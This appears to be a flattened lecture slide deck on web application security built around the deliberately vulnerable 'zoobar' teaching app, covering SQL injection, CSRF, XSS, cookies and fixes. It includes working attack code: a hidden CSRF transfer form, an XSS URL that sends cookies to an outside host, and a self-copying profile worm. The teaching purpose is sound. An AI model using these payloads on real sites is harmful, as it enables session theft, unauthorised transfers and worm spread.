Victor Costan
1. HTTP
2. Cookies
3. Content
4. Same-Origin Policy
HTTP 1.0
POST /zoobar/login.php HTTP/1.0 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100415 Ubuntu/10.04 (lucid) Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 59 login_username=boom&login_password=boom&submit_login=Log+in
HTTP 1.1
Keep-Alive
POST /zoobar/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100415 Ubuntu/10.04 (lucid) Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://localhost/zoobar/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 59 login_username=boom&login_password=boom&submit_login=Log+in
HTTP/1.1 200 OK Date: Wed, 21 Apr 2010 10:26:09 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4 Cache-Control: private Set-Cookie: ZoobarLogin=boom; expires=Sat, 16-Apr-2011 10:26:09 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 546 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="zoobar.css"> <title>Login - Zoobar Foundation</title> </head> <body> <!-- truncated --> </body> </html>
Concepts
Protocol
<!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="zoobar.css"> </head> <body> <a href="/index.php?action=logout">Log out boom</a> <form method="POST" action="/zoobar/transfer.php"> <p>Send <input name="zoobars"> zoobars</p> <p>to <input name="recipient"></p> <input type=submit name=submission value="Send"> </form> <script type="text/javascript" src="zoobars.js.php"></script> </body> </html>
Application vulnerabilities can be detected by examining your application’s code, without any regard to the other pieces of software that it interacts with.
http://bit.ly/h5kVdb
type="password"
for passwords, SSNs, etc<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
GET
in login forms<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
Plaintext passwords in database
Hashed but unsalted passwords
$salt = substr(md5(rand()), 0, 4); $hashedpassword = md5($password.$salt); $sql = "INSERT INTO Users (Username, Password, Salt) " . "VALUES ('" . addslashes($username) . "', " . "'$hashedpassword', '$salt')"; $db->executeQuery($sql);
$sql = "SELECT Salt FROM Users WHERE Username = '" . addslashes($username) . "'"; $rs = $db->executeQuery($sql); $salt = $rs->getValueByNr(0,0); $hashedpassword = md5($password.$salt); $sql = "SELECT * FROM Users WHERE " . "Username = '" . addslashes($username) . "' AND " . "Password = '$hashedpassword'";
Processing SessionsController#create to json (for 96.39.52.46 at 2010-01-06 01:03:52) [POST] Parameters: {"name"=>"365c1e0d07b783297355e30022ea901d1dff96333b34929eb3650632bea73304", "device"=>{"hardware_model"=>"iPod2,1", "unique_id"=>"8186676124d4e588024ea29426f29d8aabb00858", "app_provisioning"=>"H", "app_version"=>"1.9", "app_id"=>"us.costan.StockPlay", "user_id"=>"0", "os_name"=>"iPhone OS", "os_version"=>"3.0", "model_id"=>"0", "app_push_token"=>"316e42e781d7cfb6f3de7ff2bab48e654c2d81da53d263476f8c66ca3253fc91"}, "format"=>"json", "action"=>"create", "controller"=>"sessions", "app_sig"=>"8f724fbfaf34772032412c5b638df009314c88bc6e6f245796cceb9c6db499f3", "password"=>"[FILTERED]"} Completed in 45ms (View: 1, DB: 28) | 200 OK [http://istockplay.com/sessions.json]
[FILTERTED]
. Are you flitering your logs?Painfully obvious URLs.
/show_message.php?id=5
, let’s try /show_message.php?id=6
/users/1
and /users/1/edit
, let’s try /users/1/delete
(REST URLs)/admin.php
, /info.php
, /status.php
, /root.php
“Secret” URLs.
Autentication
Authorization
GET
only for idempotent requests. GET
authorizes proxies to cache pages and leads to accidental refreshes.Your total is $530.
<p>Your total is $530.</p> <form action="/checkout.php" method="POST"> Credit card number: <input type="text" name="cc_no" /> <input type="submit" value="Place Order" /> <input type="hidden" name="products" value="225,5331,7794" /> <input type="hidden" name="price" value="530" /> </form>
$result = $this->db->executeQuery($sql); if ( $result->next() ) { $this->username = $username; setcookie($this->cookieName, $this->username, time() + 31104000); return true;
if ( isset($_COOKIE[$this->cookieName]) ) { $username = $_COOKIE[$this->cookieName]; $sql = "SELECT * FROM Person WHERE " . "(Username = '" . addslashes($username) . "') "; $rs = $this->db->executeQuery($sql); if ( $rs->next() ) {
$token = md5($result->getCurrentValueByName("Password").mt_rand()); $sql = "UPDATE Users SET Token = '$token' " . "WHERE Username='" . addslashes($username) . "'"; $db->executeQuery($sql);
$arr = array($username, $token); $cookieData = base64_encode(serialize($arr)); setcookie($this->cookieName, $cookieData, time() + 31104000);
if ( isset($_COOKIE[$this->cookieName]) ) { $arr = unserialize(base64_decode($_COOKIE[$this->cookieName])); list($username, $token) = $arr; if (!$username or !$token) { return; } return $this->_checkToken($username, $token); }
$sql = "SELECT * FROM Users WHERE " . "(Username = '" . addslashes($username) . "') " . "AND (Token = '" . addslashes($token) . "')"; $rs = $db->executeQuery($sql); if ( $rs->next() ) {
Use signed cookies.
# Basic idea. set_cookie($cookie_name, hash_hmac("sha256", $value, $secret) . $value, time() + 31104000);
What’s wrong here?
$zoobars = (int) $_POST['zoobars']; $sql = "SELECT Zoobars FROM Person WHERE Username='" . addslashes($user->username) . "'"; $rs = $db->executeQuery($sql); $sender_balance = $rs->getValueByNr(0,0) - $zoobars; $sql = "SELECT Username, Zoobars FROM Person WHERE Username='" . addslashes($recipient) . "'"; $rs = $db->executeQuery($sql); $recipient_exists = $rs->getValueByNr(0,0); $recipient_balance = $rs->getValueByNr(0,1) + $zoobars; if($sender_balance >= 0 && $recipient_balance >= 0 && $recipient_exists) { $sql = "UPDATE Person SET Zoobars = $sender_balance " . "WHERE Username='" . addslashes($user->username) . "'";
Fix:
Integration vulnerabilities are not obvious from the application’s logic. They happen when complex systems interact in unexpected ways.
Solution
$username = $_POST['login_username']; $sql = "SELECT * FROM Person WHERE (Username = '$username') "; $rs = $db->executeQuery($sql);
The code above leads to pwnage.
'
and "
escape out of the string;
separates instructions, --
comments out the rest of the lineOR 1=1
kills WHERE
clauses, DROP ALL TABLES
kills your database'
, call addslashes
$sql = "SELECT Username FROM Users WHERE Username='" . addslashes($username) . "'";
scripts.mit.edu
make sure your AFS permissions are set correctly. Ask a friend to try to cd
into your locker.Serverity | Problem | Workaround |
low | database credentials in source | use firewall to prevent external connections |
medium | other credentials (e.g. Facebook API key) | ask partners to restrict API access to your IPs |
high | your source code is embarrassing | fix the damn file permissions |
Problem
Threat Model
Firewalls sites, so site A cannot interfere with site B
XmlHttpRequest
to BFirewalls sites, so site A cannot interfere with site B
XmlHttpRequest
to B unless
DOM elements can access data from any URL.
Tool | Motivation | Attack |
<img> |
CDNs (Content Distribution Networks) | Issue arbitrary GET requests. |
<form> |
CDNs, Mash-ups (e.g. payment forms) | Issue arbitrary requests. |
<script> |
CDNs, Mash-ups (e.g. Google Map widget) | Mash-up provider injects arbitrary code. |
JSONP | Data from another server. | Data without user’s consent. |
bit.ly
URLsGET
requests are vulnerable to CSRF<form method=POST name=transferform action="<?php echo $_SERVER['PHP_SELF']?>"> <p>Send <input name=zoobars type=text value="<?php echo $_POST['zoobars']; ?>" size=5> zoobars</p> <p>to <input name=recipient type=text value="<?php echo $_POST['recipient']; ?>" size=10></p> <input type=submit name=submission value="Send"> </form>
Form action | /transfer.php |
Form method | POST |
zoobars |
number |
recipient |
user name |
submission |
Send |
<!DOCTYPE html> <html> <body> <form action="http://localhost/zoobar/transfer.php" id="post_form" method="post" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="recipient" value="attacker" /> <input type="hidden" name="zoobars" value="10" /> <input type="hidden" name="submission" value="Send" /> </form> <iframe id="form_target" name="form_target" style="visibility: hidden;"> </iframe> <script type="text/javascript" src="csrf.js"></script> </body> </html>
var frame = document.getElementById('form_target'); var form = document.getElementById('post_form'); form.target = frame.name; frame.addEventListener('load', function() { window.location = "http://pdos.csail.mit.edu/6.893/2009/"; }, false); form.submit();
Bonus: Stealth Attack
<iframe>
GET
request (with side-effects).function check_csrf_token() { global $csrf_token; if ($_POST['_csrf_token'] != $csrf_token) { die(); } } function csrf_form_field() { global $csrf_token; echo '<input type="hidden" name="_csrf_token" value="' . $csrf_token . '" />'; }
if (empty($_COOKIE['csrf_base']) || !isset($_COOKIE['csrf_base'])) { $csrf_base = sha1("csrf" . mt_rand() . "_" . getmypid() . "_" . microtime(true)); setcookie('csrf_base', $csrf_base); } else { $csrf_base = $_COOKIE['csrf_base']; } $csrf_token = sha1($_COOKIE['csrf_base'] . "hduM3POw/NCTmMfy7vKZxdDjupKnuK6r9");
"
, HTML tags, javascript:
links, etc.alert()
proves that you can run JavaScript, has very few moving parts.alert()
, you can use standard payloads and tools to finish the attack.http://localhost/zoobar/users.php?user="><script type="text/javascript">alert('Boom');</script><div style="display:none;" xx="
def session_exploit_js url = 'http://pdos.csail.mit.edu/6.893/2009/labs/lab3/sendmail.php' addr = 'costan@mit.edu' "(new Image()).src='#{url}?to=#{addr}&payload='" + "+encodeURIComponent(document.cookie)" + "+'&random='+Math.random();" end
http://localhost/zoobar/users.php?user=%22+size%3D%2210%22%3E%3Cstyle+type%3D%22text%2Fcss%22%3E.warning%7Bdisplay%3Anone%3B%7D%3C%2Fstyle%3E%3Cscript+type%3D%22text%2Fjavascript%22%3E%3C%21--%0A%28new+Image%28%29%29.src%3D%27http%3A%2F%2Fpdos.csail.mit.edu%2F6.893%2F2009%2Flabs%2Flab3%2Fsendmail.php%3Fto%3Dcostan%40mit.edu%26payload%3D%27%2BencodeURIComponent%28document.cookie%29%2B%27%26random%3D%27%2BMath.random%28%29%3B%0A%2F%2F+--%3E%3C%2Fscript%3E%3Cdiv+style%3D%22display%3Anone%3B%22+xx%3D%22
Serve user content from another domain
Escape strings originating from the user
javascript:
URLs (check against /^https?\:/
)htmlentities()
to htmlspecialchars()
ENT_COMPAT
and ENT_QUOTES
<nobr>User: <input type="text" name="user" value="<?php echo htmlentities($_GET['user']); ?>" size=10></nobr><br>
<script>
tag.var myZoobars = <?php $sql = "SELECT Zoobars FROM Person WHERE Username='" . addslashes($user->username) . "'"; $rs = $db->executeQuery($sql); $balance = $rs->getValueByNr(0,0); echo $balance > 0 ? $balance : 0; ?>; var div = document.getElementById("myZoobars"); if (div != null) { div.innerHTML = myZoobars;
<script>
tag to obtain the data.<div id="myZoobars">Nope</div>
<script type="text/javascript" src="http://localhost/zoobar/zoobars.js.php"> </script> <script type="text/javascript"> if (document.getElementById('myZoobars').innerHTML == 'Nope') {
$allowed_tags = '<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' . '<tr><td><th><u><ul><em><span>'; $profile = strip_tags($profile, $allowed_tags); $disallowed = 'javascript:|window|eval|setTimeout|setInterval|target|'. 'onAbort|onBlur|onChange|onClick|onDblClick|'. 'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'. 'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'. 'onMouseOver|onMouseUp|onMove|onReset|onResize|'. 'onSelect|onSubmit|onUnload'; $profile = preg_replace("/$disallowed/i", " ", $profile); echo "<p id=profile>$profile</p></div>";
var total = eval(document.getElementById('zoobars').className);
<span id="zoobars" class="var d = document; var js = d.getElementById('javascript').innerHTML; var tag = d.createElement('script'); tag.setAttribute('type', 'text/javascript'); tag.innerHTML = js; d.body.appendChild(tag);"> Headshot! </span> <span style="display: none;" id="javascript"> var formEncode = function(args) { var output = ''; for (var name in args) { if (output != '') { output += String.fromCharCode(38) } output += encodeURIComponent(name) + '=' + encodeURIComponent(args[name]); } return output; } var pay=new XMLHttpRequest(); pay.open('POST', '/transfer.php'); pay.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); pay.send(formEncode({recipient: 'attacker', zoobars: 1, submission: 'Send'})); var profile = document.getElementById('zoobars').parentNode.innerHTML; var copy=new XMLHttpRequest(); copy.open('POST', '/index.php'); copy.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); copy.send(formEncode({profile_update: profile, profile_submit: 'Save'})); </span>
Use eval()
very very sparingly.
eval()
should not be a shortcut for parsing code.parseInt()
, parseFloat()
JSON.parse()
var total = parseInt(document.getElementById('zoobars').className);
This is for real: the previous attack was inspired from MySpace 2005 profile worm.
Famous 2009 Vulnerabilities
Fixes
Update all stack components that you own ASAP.
Maintaining your own server?
sudo apt-get update; sudo apt-get dist-upgrade
)Victor Costan
Slides and Code
Demo
code/zoobar_attacks
code/zoobar
at http://localhost/zoobar